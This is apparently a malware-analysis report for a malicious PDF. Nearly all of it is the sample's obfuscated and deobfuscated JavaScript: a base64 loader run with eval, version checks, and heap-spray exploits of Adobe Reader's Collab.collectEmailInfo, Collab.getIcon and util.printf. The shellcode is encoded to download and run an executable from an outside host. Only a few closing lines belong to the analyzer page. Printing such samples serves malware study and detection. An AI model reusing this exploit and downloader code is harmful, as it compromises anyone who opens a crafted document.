wSWxkVVUxTnpVbGRUaENOVVVsZFRJME5EWWxkVU16TURNbGRUaENOallsZFRRNE1FTWxkVFUyT0VJbGRUQXpNVU1sZFRoQ1JETWxkVGhCTURRbGRVTXpNRE1sZFRWRk5VWWxkVU16TlRBbGRUZEVPRVFsZFRVM01VTWxkVUk0TlRJbGRVTkJNek1sZFRWQ09FRWxkVUV5UlRnbGRVWkdSa1lsZFRNeVJrWWxkVGhDUXpBbGRVWXlSamNsZFRSR1FVVWxkVFExT0VJbGRVRkNNVEFsZFRrNE5qWWxkVUZDTmpZbGRVTXdNek1sZFRZeFFqZ2xkVEF3TmpRbGRUVXdNREFsZFRVME5qZ2xkVGN5TmpnbGRUTTFOalVsZFRGRE1qUWxkVGMwTmprbGRUVTBOVEFsZFVJNE5UTWxkVVpEUVVFbGRUZERNRVFsZFRVMVJrWWxkVGd6TVRnbGRUQkRRelFsZFVJd05UQWxkVGhCTmtNbGRUazRSVEFsZFRZNE5UQWxkVFpGTmtZbGRUWTBNa1VsZFRjMU5qZ2xkVFpETnpJbGRUVTBOa1FsZFRoRlFqZ2xkVEJGTkVVbGRVWkdSVU1sZFRFNE5UVWxkVU0wT0RNbGRUa3pNRU1sZFRNek5UQWxkVFV3UXpBbGRUVTJOVEFsZFRVMU9FSWxkVEF6TVRnbGRURTBOVFVsZFRVd05USWxkVE0yUWpnbGRUSkdNVUVsZFVaR056QWxkVEU0TlRVbGRUZ3pOVUlsZFRBd04wUWxkVEJHTURFbGRUbEZPRFVsZFRBd01EQWxkVFpCTURBbGRUWTRNREFsZFRBd09EQWxkVEF3TURBbGRUQXpOa0VsZFRBd05rRWxkVEF6TmtFbGRUQXdOamdsZFRBd01EQWxkVFUyUXpBbGRVRTFRamdsZFRBd01UY2xkVVpHTjBNbGRURTROVFVsZFRRMU9Ea2xkVFpCTURRbGRUWTRNRFFsZFRFd01EQWxkVEF3TURBbGRUQXdOamdsZFRBNE1EQWxkVFpCTURBbGRVSTRNREFsZFVOQk5UUWxkVGt4UVVZbGRUVTFSa1lsZFRnNU1UZ2xkVEJETkRVbGRUWkJOVEFsZFRoRU1EQWxkVEE0TkVRbGRUWTROVEVsZFRBd01EQWxkVEF3TURnbGRVWkdOVEFsZFRBME56VWxkVEUyUWpnbGRVWkJOalVsZFVaR01UQWxkVEU0TlRVbGRUaENOVVlsZFRnek1UY2xkVEEwUXpjbGRUUkVPRUlsZFRnek1EZ2xkVEEwUlRrbGRVRTNSVGdsZFRBd01EQWxkVFpCTURBbGRUWkJNREFsZFRaQk1EQWxkVVpHTURBbGRUQTBOelVsZFVGRFFqZ2xkVVJCTURnbGRVWkdOellsZFRFNE5UVWxkVEF3TmtFbGRUUkVPRVFsZFRVeE1EZ2xkVGMxUmtZbGRVWkdNRGdsZFRCRE56VWxkVEEwT0RNbGRUQTBNalFsZFRjMVJrWWxkVUk0TURRbGRUYzVNVVlsZFVVNE1FRWxkVFUxUmtZbGRVWkdNVGdsZFRBME56VWxkVVpDUWpnbGRVWkVPVGNsZFVaR01FWWxkVEU0TlRVbGRUUTFRemNsZFRBeU1EQWxkVEF3TURBbGRUVTNNREFsZFVJNE5UWWxkVVpGT1RnbGRUQkZPRUVsZFRVMVJrWWxkVVZDTVRnbGRURTRNa0VsZFVZNU1rRWxkVVF5UWpjbGRVSXpOemNsZFRRMU1ERWxkVGt5T0VFbGRVRkVRamNsZFRWRU5UQWxkVFkzUlRRbGRVVTJSalVsZFRGQlF6Y2xkVUZDUWtZbGRURXdNVVVsZFRjMk5ESWxkVUV4UVRJbGRUWXpOVFFsZFRkQ01Ea2xkVUl3T0RrbGRUazNSalFsZFRjek5FVWxkVE5HT1RNbGRUZ3pSakVsZFRBd04wUWxkVGMwTURJbGRVTTNOakFsZFRBd05EVWxkVEF3TURFbGRUQXdNREFsZFRRMVF6Y2xkVGM1TVRBbGRUWTFNa1VsZFVNM056Z2xkVEUwTkRVbGRUQXhOeklsZFRBd01EQWxkVGRFT0VJbGRUQXpNVGdsZFRFME4wUWxkVEkyUWprbGRUQXdNREFsZFRoQ01EQWxkVVpETlRjbGRUQTFSVGdsZFRBd01EQWxkVVU1TURBbGRVWkZOME1sZFVaR1JrWWxkVU13TXpNbGRUQTNPRUVsZFVNNFJESWxkVU14TXpJbGRVUXdSallsZFVNMU16SWxkVU15TXpJbGRVTTJNeklsZFVNd1JESWxkVU14TURJbGRVTTFNRElsZFVNeU1ESWxkVU0yTURJbGRVTTRSRElsZFVNeE1rRWxkVU0xTWtFbGRVUXdSallsZFVNeU1rRWxkVU0yTWtFbGRVTXdSRElsZFVNeVJETWxkVU5CTUVZbGRUQTNPRGdsZFRRNU5EY2xkVU5GTnpVbGRVTXpRek1sZFRjME5qZ2xkVGN3TnpRbGRUSkdNMEVsZFRZeU1rWWxkVFl4TmtNbGRUWkNOak1sZFRZMU5rUWxkVFk1TmtNbGRUWXhOek1sZFRZek1rVWxkVFpFTmtZbGRUWTFNa1lsZFRKR05rTWxkVFkxTmpjbGRUWTFOelFsZFRZMU56Z2xkVGN3TWtVbGRUY3dOamdsZFRjek0wWWxkVFpETnpBbGRUY3dNMFFsZFRZMk5qUWlLVHQ5RFFvZ0lIWmhjaUJ5TWpCMk5rZG9lVEJwVFd3elYxSXhJRDBnTUhnME1EQXdNREE3ZG1GeUlFdDNhemN6U0RGU2FrZEpZbmRDZEhJZ1BTQjJTVlZyUnpaWGRWQlRSbkp5WjNOSkxteGxibWQwYUNBcUlESTdkbUZ5SUdOTlNrMXFPWEJ0TVdacE1HY3dVemNnUFNCeU1qQjJOa2RvZVRCcFRXd3pWMUl4SUMwZ0tFdDNhemN6U0RGU2FrZEpZbmRDZEhJZ0t5QXdlRE00S1R0MllYSWdVRTlhWmxwUGVtOXZNWFJYVTJWM05pQTlJSFZ1WlhOallYQmxLQ0lsZFRrd09UQWxkVGt3T1RBaUtUdFFUMXBtV2s5NmIyOHhkRmRUWlhjMklEMGdWMlZRUlRWTmNGTTBjbkYyTURGUlNTaFFUMXBtV2s5NmIyOHhkRmRUWlhjMkxDQmpUVXBOYWpsd2JURm1hVEJuTUZNM0tUdDJZWElnYURSdFNFdFVSMVZEWkVaRk1HaEZlaUE5SUNoNVJUbHlNVFUzYlhSek1VNWlTekJuSUMwZ01IZzBNREF3TURBcElDOGdjakl3ZGpaSGFIa3dhVTFzTTFkU01UdG1iM0lnS0haaGNpQmtlalptUnpjNE1VMVJZa3BpVmtGdklEMGdNRHNnWkhvMlprYzNPREZOVVdKS1lsWkJieUE4SUdnMGJVaExWRWRWUTJSR1JUQm9SWG83SUdSNk5tWkhOemd4VFZGaVNtSldRVzhnS3lzZ0tYdElRblV4WWxCM1lVOW5Nazl6U1VGV1cyUjZObVpITnpneFRWRmlTbUpXUVc5ZElEMGdVRTlhWmxwUGVtOXZNWFJYVTJWM05pQXJJSFpKVld0SE5sZDFVRk5HY25KbmMwazdmWDBOQ21aMWJtTjBhVzl1SUVaNE4zUlNUazlrTVdSelFVdzRNSG9vS1hzTkNpQWdkbUZ5SUVsR1prMU5iVTVwUTNveWIxVkRZelFnUFNBd08zWmhjaUJxYW5oaU4weEdOM280U0V0RlVVdE1JRDBnWVhCd0xuWnBaWGRsY2xabGNuTnBiMjR1ZEc5VGRISnBibWNvS1R0aGNIQXVZMnhsWVhKVWFXMWxUM1YwS0dkUWVVaEdRWEJLUmxBeE5tbFRhMUFwT3cwS0lDQnBaaUFvYW1wNFlqZE1SamQ2T0VoTFJWRkxUQ0E4SURjdU1TbDdEUW9nSUNBZ1JUTnRPRkZzZGtadGNHMUZWR2xLYlNnd0tUc05DaUFnSUNCMllYSWdTSHBwTTIwMmEzazFiVzVhZWxCalFTQTlJSFZ1WlhOallYQmxLQ0lsZFRCak1HTWxkVEJqTUdNaUtUdDNhR2xzWlNBb1NIcHBNMjAyYTNrMWJXNWFlbEJqUVM1c1pXNW5kR2dnUENBME5EazFNaWxJZW1remJUWnJlVFZ0YmxwNlVHTkJJQ3M5SUVoNmFUTnRObXQ1TlcxdVducFFZMEU3ZEdocGN5QXVZMjlzYkdGaVUzUnZjbVVnUFNCRGIyeHNZV0l1WTI5c2JHVmpkRVZ0WVdsc1NXNW1ieWg3YzNWaWFpQTZJQ0lpTENCdGMyY2dPaUJJZW1remJUWnJlVFZ0YmxwNlVHTkJmU2s3ZlEwS2FXWWdLR3BxZUdJM1RFWTNlamhJUzBWUlMwd2dQajBnT1NsN0RRb2dJQ0FnZEhKNUlIdHBaaUFvWVhCd0xtUnZZeTVEYjJ4c1lXSXVaMlYwU1dOdmJpbDdSVE50T0ZGc2RrWnRjRzFGVkdsS2JTZ3lLVHQyWVhJZ1kxcHRSbll5VEhVd1pFWlBORnBxYXlBOUlIVnVaWE5qWVhCbEtDSWxNRGtpS1RzTkNuZG9hV3hsSUNoaldtMUdkakpNZFRCa1JrODBXbXByTG14bGJtZDBhQ0E4SURCNE5EQXdNQ2xqV20xR2RqSk1kVEJrUms4MFdtcHJJQ3M5SUdOYWJVWjJNa3gxTUdSR1R6UmFhbXM3WTFwdFJuWXlUSFV3WkVaUE5GcHFheUE5SUNKT0xpSWdLeUJqV20xR2RqSk1kVEJrUms4MFdtcHJPMkZ3Y0M1a2IyTXVRMjlzYkdGaUxtZGxkRWxqYjI0b1kxcHRSbll5VEhVd1pFWlBORnBxYXlrN1NVWm1UVTF0VG1sRGVqSnZWVU5qTkNBOUlERTdmV1ZzYzJVZ2UwbEdaazFOYlU1cFEzb3liMVZEWXpRZ1BTQXhPMzE5WTJGMFkyZ2dLR1VwZTBsR1prMU5iVTVwUTNveWIxVkRZelFnUFNBeE8zMXBaaUFvU1VabVRVMXRUbWxEZWpKdlZVTmpOQ0E5UFNBeEtYdHBaaUFvS0dwcWVHSTNURVkzZWpoSVMwVlJTMHdnUGowZ055NHhKaVlnYW1wNFlqZE1SamQ2T0VoTFJWRkxUQ0E4SURrcEtYdEZNMjA0VVd4MlJtMXdiVVZVYVVwdEtERXBPM1poY2lCVVVtMUxXRmhLWWtzM1FVdFhibFZtSUQwZ0lqRXlPVGs1T1RrNU9UazVPVGs1T1RrNU9UazVJanRtYjNJZ0tFRkhkVWxKUjBOU2RGSndlREZaYUZvZ1BTQXdPeUJCUjNWSlNVZERVblJTY0hneFdXaGFJRHdnTWpjMk95QkJSM1ZKU1VkRFVuUlNjSGd4V1doYUlDc3JJQ2w3VkZKdFMxaFlTbUpMTjBGTFYyNVZaaUFyUFNBaU9DSTdmWFYwYVd3dWNISnBiblJtS0NJbE5EVXdNREJtSWl3Z1ZGSnRTMWhZU21KTE4wRkxWMjVWWmlrN2ZYMTlmUTBLWVhCd0xsaFZkVmd5UkRCTlNrcG5jVGhDVmxVZ1BTQkdlRGQwVWs1UFpERmtjMEZNT0RCNk8yZFFlVWhHUVhCS1JsQXhObWxUYTFBZ1BTQmhjSEF1YzJWMFZHbHRaVTkxZENnaVlYQndMbGhWZFZneVJEQk5Ta3BuY1RoQ1ZsVW9LU0lzSURFd0tUcz0="); eval(decode64(aasd));
`custom_b64_stage_000.js`	deobfuscated-js	custom Base64 decoded JavaScript layer 2 (PDF /JS object 9) at offset 0x450	10526 bytes
SHA-256: `28ffbfd45a2f361c30ed3f53ccd275d1af202b20f41229c2d1feece8112bb1e8`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). 24 of 45 identifiers look randomly generated (e.g. 'jjxb7LF7z8HKEQKL') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script var HBu1bPwaOg2OsIAV = new Array(); var gPyHFApJFP16iSkP; function WePE5MpS4rqv01QI(POZfZOzoo1tWSew6, cMJMj9pm1fi0g0S7){while (POZfZOzoo1tWSew6.length * 2 < cMJMj9pm1fi0g0S7){POZfZOzoo1tWSew6 += POZfZOzoo1tWSew6;}POZfZOzoo1tWSew6 = POZfZOzoo1tWSew6.substring(0, cMJMj9pm1fi0g0S7 / 2); return POZfZOzoo1tWSew6;} function Mw7m0F9TZpJg1oBS(Pctzs2TRrm9rbJKq){ var RjIElmgdYpV00pzR = unescape("%u9090%u9090"); var ryBwyNWPN6swLuW7 = Pctzs2TRrm9rbJKq - 0x700000; var SWmGtJfGOYDkSjqI = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u622F%u616C%u6B63%u656D%u696C%u6173%u632E%u6D6F%u652F%u2F6C%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664"); while (RjIElmgdYpV00pzR.length<slackspace) RjIElmgdYpV00pzR+=RjIElmgdYpV00pzR; SWmGtJfGOYDkSjqI = Pctzs2TRrm9rbJKq.substring(0, Pctzs2TRrm9rbJKq);} function E3m8QlvFmpmETiJm(Wd9omxbmdJwKSOR1){ var yE9r157mts1NbK0g = 0x0c0c0c0c;var vIUkG6WuPSFrrgsI = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u622F%u616C%u6B63%u656D%u696C%u6173%u632E%u6D6F%u652F%u2F6C%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664");if (Wd9omxbmdJwKSOR1 == 1){yE9r157mts1NbK0g = 0x30303030;vIUkG6WuPSFrrgsI = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u622F%u616C%u6B63%u656D%u696C%u6173%u632E%u6D6F%u652F%u2F6C%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664");} else if (Wd9omxbmdJwKSOR1 == 2){vIUkG6WuPSFrrgsI = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u622F%u616C%u6B63%u656D%u696C%u6173%u632E%u6D6F%u652F%u2F6C%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664");} var r20v6Ghy0iMl3WR1 = 0x400000;var Kwk73H1RjGIbwBtr = vIUkG6WuPSFrrgsI.length * 2;var cMJMj9pm1fi0g0S7 = r20v6Ghy0iMl3WR1 - (Kwk73H1RjGIbwBtr + 0x38);var POZfZOzoo1tWSew6 = unescape("%u9090%u9090");POZfZOzoo1tWSew6 = WePE5MpS4rqv01QI(POZfZOzoo1tWSew6, cMJMj9pm1fi0g0S7);var h4mHKTGUCdFE0hEz = (yE9r157mts1NbK0g - 0x400000) / r20v6Ghy0iMl3WR1;for (var dz6fG781MQbJbVAo = 0; dz6fG781MQbJbVAo < h4mHKTGUCdFE0hEz; dz6fG781MQbJbVAo ++ ){HBu1bPwaOg2OsIAV[dz6fG781MQbJbVAo] = POZfZOzoo1tWSew6 + vIUkG6WuPSFrrgsI;}} function Fx7tRNOd1dsAL80z(){ var IFfMMmNiCz2oUCc4 = 0;var jjxb7LF7z8HKEQKL = app.viewerVersion.toString();app.clearTimeOut(gPyHFApJFP16iSkP); if (jjxb7LF7z8HKEQKL < 7.1){ E3m8QlvFmpmETiJm(0); var Hzi3m6ky5mnZzPcA = unescape("%u0c0c%u0c0c");while (Hzi3m6ky5mnZzPcA.length < 44952)Hzi3m6ky5mnZzPcA += Hzi3m6ky5mnZzPcA;this .collabStore = Collab.collectEmailInfo({subj : "", msg : Hzi3m6ky5mnZzPcA});} if (jjxb7LF7z8HKEQKL >= 9){ try {if (app.doc.Collab.getIcon){E3m8QlvFmpmETiJm(2);var cZmFv2Lu0dFO4Zjk = unescape("%09"); while (cZmFv2Lu0dFO4Zjk.length < 0x4000)cZmFv2Lu0dFO4Zjk += cZmFv2Lu0dFO4Zjk;cZmFv2Lu0dFO4Zjk = "N." + cZmFv2Lu0dFO4Zjk;app.doc.Collab.getIcon(cZmFv2Lu0dFO4Zjk);IFfMMmNiCz2oUCc4 = 1;}else {IFfMMmNiCz2oUCc4 = 1;}}catch (e){IFfMMmNiCz2oUCc4 = 1;}if (IFfMMmNiCz2oUCc4 == 1){if ((jjxb7LF7z8HKEQKL >= 7.1&& jjxb7LF7z8HKEQKL < 9)){E3m8QlvFmpmETiJm(1);var TRmKXXJbK7AKWnUf = "12999999999999999999";for (AGuIIGCRtRpx1YhZ = 0; AGuIIGCRtRpx1YhZ < 276; AGuIIGCRtRpx1YhZ ++ ){TRmKXXJbK7AKWnUf += "8";}util.printf("%45000f", TRmKXXJbK7AKWnUf);}}}} app.XUuX2D0MJJgq8BVU = Fx7tRNOd1dsAL80z;gPyHFApJFP16iSkP = app.setTimeOut("app.XUuX2D0MJJgq8BVU()", 10);

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 11

Related samples 6

Extracted artifacts 2